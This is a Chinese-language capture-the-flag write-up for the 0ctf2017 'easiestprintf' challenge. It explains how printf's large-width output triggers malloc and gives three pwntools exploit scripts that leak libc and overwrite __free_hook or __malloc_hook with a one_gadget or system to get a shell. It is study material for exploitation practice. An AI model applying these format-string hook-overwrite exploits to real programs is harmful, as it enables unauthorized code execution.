首先题目名字严重…漏洞看上去很简单,但真的好难
0ctf2017_easiestprintf
0ctf2017_easiestprintf
题目分析
最难的题目往往代码很简单
保护
RELRO 全开,也就是不能修改fini,init,got表来劫持控制流,那么应该怎么做呢,同时也开了NX和canary
源码
do_read
可以泄露一个值,我们可以用got泄露libc
leave
格式化字符串漏洞,但只有一次
攻击
泄露libc
sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
这个就是基本操作了
如何劫持控制流
一般来说我们可以修改exit got表为main函数再来一遍或者直接指向one_gaget,但这里got不可以修改,fini也不能改,当时真的蒙了 后来经过提醒才发现,printf会调用malloc,而__malloc_hook和__free_hook都是可以修改的
printf源码分析
#include<stdio.h>
int main(){
printf("%1c");
}
主要原理就是当printf输出的字符过多的时候,会调用malloc来处理 我们大概放一下源码
if (width >= WORK_BUFFER_SIZE - 32)
1500 {
1501 /* We have to use a special buffer. The "32" is just a safe
1502 bet for all the output which is not counted in the width. */
1503 size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
? 1504 if (__libc_use_alloca (needed))
1505 workend = (CHAR_T *) alloca (needed) + width + 32;
1506 else
1507 {
1508 workstart = (CHAR_T *) malloc (needed);
这里的width是什么大概也能猜出来就是我们输出的长度,我们来调试一下 第一次的widht是1,很明显因为%c的功能,我们来看看第一个check是多少 也就是wdith首先要大于1000-32 然后回转化为needed,其实就是+32 然后我们想进入else,也要过第一个check 所以第一次失败,我们改成65537 额这里忘记会加上32,不过当然也过了check 我们看到这个时候malloc传入的就是我们printf输出的长度+32的结果
workstart保存的堆地址 这里会free workstart 但可以看到workstart里面并没有内容,最开始我还想通过把free-hook写成system,然后里面字符串写上/bin/sh,但发现好像再free的时候里面是没有内容的,额应该只是一个缓冲区,并不能保存 然后我考虑用one_gaget,但好像题目libc-2.23的我用不了,都挂了…
大概的逻辑我们差不多就知道了,现在我们来结合题目具体调试一下吧 由于之前调试没有32位的环境,刚才把32位的装好,大概思路差不多,但也有一点细微的差别 触发的具体位置不太一样了,但有一点细节要注意 printf他是一个个处理格式化字符串的 我们可以这样理解,他从前往后扫描,然后会比较每一次需要输出的内容长度,如果单次的长度够长的话就可以进入malloc
这里第一次实验我把触发malloc放在了后面,进去的时候__free_hook已经被修改了
第二次实验
小结
printf有以下特性
- 他是从前往后扫描格式化字符串,依次执行
- 每执行一个格式化字符串,都会去比较输出的大小,单次大小>65536-32,就会进入malloc
- 上面特性区别于%c%n,%n会计算前面所有的输出长度
开始利用
这里由于free的时候堆里面没有内容,所以mem其实里面内容不能控,唯一能够的只有malloc的bytes,如果bytes也就是大小刚好是/bin/sh的地址,可以通过__malloc_hook getshell 但是在使用上述攻击之前,可以先尝试使用one_gadget
__free_hook替换成gadget
sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
one_gadget_addr = one_gadget[1] + libc_base
payload = fmtstr_payload(7, {free_hook_addr: one_gadget_addr}) + b"%65535c"
debug()
sla(b"Good Bye\n", payload)
it()
由于按照先后顺序执行,可以看到我们的free-hook被修改了 堆内容确实不可控 结果发现打不通,再试试__malloc_hook
__malloc_hook换成one_gagdet
居然打通了
sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
one_gadget_addr = 0x3A819 + libc_base
payload = (
fmtstr_payload(7, {malloc_hook_addr: one_gadget_addr}) + f"%{65536-31}c".encode()
)
# debug()
sla(b"Good Bye\n", payload)
it()
最后一种解法
由于malloc_hook的参数可控,那么我们先做现在几个事情 1.malloc_hook改成system_addr 2.找data地方写个/bin/sh\0 这里由于data太短了,就写个sh
sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
sh_addr = 0x0804A001
system_addr = libc_base + libc.sym["system"]
payload = (
fmtstr_payload(7, {malloc_hook_addr: system_addr, sh_addr: b"sh\0"})
+ f"%{0x0804A001-32}c".encode()
)
sla(b"Good Bye\n", payload)
it()
注意几个问题 sh_addr里面不要有\x00,不然printf到那个地方就不执行了,因为我们最后触发malloc一定要在所有值都被修改之后才可以执行,而我们fmtstr_payload的原理就是会在栈上放置对应的地址,一般是以bytes来写也就是hhn,所以会放addr+1,add+2,addr+3,add+4,这里我专门偏移防止\x00截断 但我们在payload里面要写\x0其实不影响的 然后最后bytes记得-32,因为printf调用malloc之前是这样计算的 实际需要输出的size+32 所以要-32
|